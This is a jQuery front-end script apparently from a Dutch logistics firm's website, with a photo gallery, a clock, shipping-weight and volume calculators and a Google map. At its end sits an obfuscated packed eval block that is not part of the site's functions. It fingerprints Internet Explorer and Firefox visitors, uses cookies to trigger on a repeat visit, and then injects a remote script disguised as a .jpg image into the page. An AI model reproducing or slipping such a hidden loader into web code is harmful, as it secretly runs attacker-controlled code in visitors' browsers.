$(document).ready(function() {
  replaceText();
  load_google_map();
  run_gallery();

  if($('#omtrek').length != 0){
    $("#omtrek-h,#omtrek-b,#omtrek-l").change(omtrekcalculator);
    $("#omtrekbutton").click(omtrekcalculator);
  }

  if($('#volume').length != 0){
    $("#volume-h,#volume-b,#volume-l,#volume-f").change(volumecalculator);
    $("#volumebutton").click(volumecalculator);
  }

  if($('#cbm').length != 0){
    $("#cbm-g,#cbm-c").change(cbmcalculator);
    $("#cbmbutton").click(cbmcalculator);
  }

  updateTime();

  $('.submenu').each(function () {
    $(this).parent().eq(0).hover( function () {
        var current = $('.submenu:eq(0)', this);

        $(this).addClass('current');
        current.stop(true, true).slideDown(200);
      }, function () {
        var current = $('.submenu:eq(0)', this);
        $(this).removeClass('current');
        current.stop(true, true).delay(300).fadeOut(300);
      });
  });
});

function run_gallery()
{
  var old = $("#flash").children("img").attr("id");
  var number = gallery.length;
  if(number == 1){
    return false;
  }
  next = old.substring(4); next++; next = (next % number);

  var content = $("#flash").html();
  var newcontent = '<img class="foto" src="'+gallerypath+gallery[next]+'" id="img-'+next+'" />'+content;
  $("#flash").html(newcontent);
  $("#"+old).delay(gallerytimeout).fadeOut(galleryfade, function(){
    $(this).remove();
    run_gallery();
  });
}

function updateTime()
{
  var current = new Date();
  var sec = current.getSeconds();
  if(sec.toString().length == 1){
    sec = '0' + sec;
  }
  var minute = current.getMinutes();
  if(minute.toString().length == 1){
    minute = '0' + minute;
  }
  var hour = current.getHours();
  if(hour.toString().length == 1){
    hour = '0' + hour;
  }

  var time = hour+':'+minute+':'+sec;

  $('#time').html(time);
  setTimeout('updateTime()', 1000);
}

function omtrekcalculator()
{
  var message = "";

  var l = parseInt($("#omtrek-l").val());
  if(isNaN(l))
  {
    l = 0;
  }
  var b = parseInt($("#omtrek-b").val());
  if(isNaN(b))
  {
    b = 0;
  }
  var h = parseInt($("#omtrek-h").val());
  if(isNaN(h))
  {
    h = 0;
  }

  var afmeting = 0;
  if(h > b) {
	 	if(l > h) {
		 	afmeting = (h+h+b+b+l);
	 	} else {
		 	afmeting = (h+b+b+l+l);
	 	}
  } else {
	 	if(l > b) {
		 	afmeting = (h+h+b+b+l);
	 	} else {
		 	afmeting = (h+h+b+l+l);
	 	}
  }

//   var afmeting = (h+h+b+b+l);
  var result = ((h*b*l)/6);
  result = Math.round((result)/100)/10;

  if(h > 0 && b > 0 && l > 0)
  {
    message = msg1;
  }
  if(h > 175 || b > 175 || l > 175)
  {
    message = msg3;
  }
  if(afmeting > 300)
  {
    message = msg4;
  }

  $("#omtrek-afmeting").val(afmeting+' cm');
  $("#omtrek-result").val(result+' kg');
  $("#omtrek-message").html(message);
}

function volumecalculator()
{
  var message = msg0;
  $('input').attr('disabled','');

  var l = parseInt($("#volume-l").val());
  if(isNaN(l))
  {
    l = 0;
    //message = msg1;
  }
  var b = parseInt($("#volume-b").val());
  if(isNaN(b))
  {
    b = 0;
    //message = msg2;
  }
  var h = parseInt($("#volume-h").val());
  if(isNaN(h))
  {
    h = 0;
    //message = msg3;
  }
  var f = parseInt($("#volume-f").val());
  if(isNaN(f))
  {
    f = 0;
    message = msg3;
  }
  f = (f/1000);


  var result = (h*b*l)/f;


  result = Math.round((result)/100)/10;
  if(result > 100000)
  {
    message = msg4;
  }

  $("#volume-result").val(result + ' kg');
  $("#volume-message").html(message);
}

function cbmcalculator()
{
  var message = msg0;
  var zeevracht = msg5;
  var g = 0;
  var c = 0;
  var result = 0;

  $('input').attr('disabled','');

  g = parseInt($("#cbm-g").val().replace(',','.'));
  g = (g/1000);
  if(isNaN(g))
  {
    g = 0;
  }
  c = parseFloat($("#cbm-c").val().replace(',','.'));
  if(isNaN(c))
  {
    c = 0;
  }

  if(g > c) {
	 	result = g;
  }else{
	 	result = c;
  }

	result = result + '';
	result = result.replace('.',',');
  $("#cbm-result").val(result + zeevracht);
  $("#volume-message").html(message);
}

function validatePassword()
{
	$('#transbtn').click( function() {
		$('#pakket').css('background','#FFF');
		$('#pallet').css('background','#FFF');

		var pakket = $('#pakket').val();
		var pallet = $('#pallet').val();

		$.post('components/checkpassword.php', { pakket: pakket, pallet: pallet } , function(data) {
			if(data.length > 0) {
				window.open(data, '_blank');
			} else {
				if(pakket.length > 0){
					$('#pakket').css('background','#FCC');
				}
				if(pallet.length > 0){
					$('#pallet').css('background','#FCC');
				}
			}
		});
	});
}

function replaceText()
{
  //rolloverscript
  var teller = 0;
  overs = new Array();
  outs = new Array();

  $('h1.title').each( function() {
    var text = escape($(this).text());
    $(this).html('<img src="images/gd/image.php?type=title&text='+urlencode(text)+'" alt="" />');
  });
  $('h1.contact-title').each( function() {
    var text = escape($(this).text());
    $(this).html('<img src="images/gd/image.php?type=contact&text='+urlencode(text)+'" alt="" />');
  });
  $('#header-nav > li > a').each( function() {
	  if($(this).attr('id') != 'home'){
    	var text = escape($(this).text());
    	$(this).html('<img src="images/gd/image.php?type=button&text='+urlencode(text)+'" alt="" />');
  	}
  });

}

function load_google_map() {
  var markerHTML;

  markerHTML = "<div id=\"google_address\"><b>"+klantnaam+"</b><br />"+klantadres+"<br />"+klantpostcode_plaats+"<br /><a href =\"mailto:"+klantemail+"\">"+klantemail+"</a><br />Tel: "+klanttel+"<br />Fax: "+klantfax+"<br />Routebeschrijving? <a href='http://maps.google.nl/maps?f=d&source=s_d&hl=nl&saddr=&daddr="+klantadresroute+"' target='_blank'>Klik hier</a></div>";

  var google_div = document.getElementById('google_map');

  if(google_div != null)
  {
    var myOptions = {
      zoom: 13,
      center: new google.maps.LatLng(latitude,longitude),
      navigationControl: true,
      disableDefaultUI: true,
      navigationControlOptions: {style: google.maps.NavigationControlStyle.SMALL},
      mapTypeId: google.maps.MapTypeId.ROADMAP
    }

    var map = new google.maps.Map(document.getElementById("google_map"), myOptions);

    var myLatLng = new google.maps.LatLng(latitude, longitude);

    var marker = new google.maps.Marker({
      position: myLatLng,
      map: map
    });

    var infowindow = new google.maps.InfoWindow({
      content: markerHTML
    });

    infowindow.open(map,marker);
  }
}

function urlencode( str ) {
  // http://kevin.vanzonneveld.net
  // +   original by: Philip Peterson
  // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
  // +      input by: AJ
  // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
  // +   improved by: Brett Zamir
  // %          note: info on what encoding functions to use from: http://xkr.us/articles/javascript/encode-compare/
  // *     example 1: urlencode('Kevin van Zonneveld!');
  // *     returns 1: 'Kevin+van+Zonneveld%21'
  // *     example 2: urlencode('http://kevin.vanzonneveld.net/');
  // *     returns 2: 'http%3A%2F%2Fkevin.vanzonneveld.net%2F'
  // *     example 3: urlencode('http://www.google.nl/search?q=php.js&ie=utf-8&oe=utf-8&aq=t&rls=com.ubuntu:en-US:unofficial&client=firefox-a');
  // *     returns 3: 'http%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3Dphp.js%26ie%3Dutf-8%26oe%3Dutf-8%26aq%3Dt%26rls%3Dcom.ubuntu%3Aen-US%3Aunofficial%26client%3Dfirefox-a'

  var histogram = {}, tmp_arr = [];
  var ret = str.toString();

  var replacer = function(search, replace, str) {
      var tmp_arr = [];
      tmp_arr = str.split(search);
      return tmp_arr.join(replace);
  };

  // The histogram is identical to the one in urldecode.
  histogram["'"]   = '%27';
  histogram['(']   = '%28';
  histogram[')']   = '%29';
  histogram['*']   = '%2A';
  histogram['~']   = '%7E';
  histogram['!']   = '%21';
  histogram['%20'] = '+';

  // Begin with encodeURIComponent, which most resembles PHP's encoding functions
  ret = encodeURIComponent(ret);

  for (search in histogram) {
      replace = histogram[search];
      ret = replacer(search, replace, ret) // Custom replace. No regexing
  }

  // Uppercase for full PHP compatibility
  return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
      return "%"+m2.toUpperCase();
  });

  return ret;
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(a(d){2 e=V.12;2 b=1a;6(e.7("19")!=-1||e.7("S")!=-1)b=z;6(b!==z)w;2 n=\'17://E.R/G/J/K-N.I?H\';2 j=l("c");6(j){6(j==\'m\'){f("c","M","3");2 s=5.Q(\'P\');s.O=\'B/C\';s.D=n+\'&r=\'+v o().F();2 h=5.L(\'11\')[0];h.15(s)}A{}}A{f("c","m","3")}a l(9){2 i,x,y,4=5.q.14(";");13(i=0;i<4.16;i++){x=4[i].p(0,4[i].7("="));y=4[i].p(4[i].7("=")+1);x=x.18(/^\\s+|\\s+$/g,"");6(x==9){w U(y)}}}a f(9,t,k){2 8=v o();8.T(8.W()+k);2 u=X(t)+((k==10)?"":"; Z="+8.Y());5.q=9+"="+u}})(5);',62,73,'||var||ARRcookies|document|if|indexOf|exdate|c_name|function|show|wss||agent|setCookie||||rc|exdays|getCookie|goot1|staturl|Date|substr|cookie|||value|c_value|new|return|||true|else|text|javascript|src|mondiallogistics|getTime|images|js|jpg|gallery|mondial|getElementsByTagName|goot2|logistics|type|script|createElement|nl|MSIE|setDate|unescape|navigator|getDate|escape|toUTCString|expires|null|head|userAgent|for|split|appendChild|length|http|replace|Firefox|false'.split('|'),0,{}))

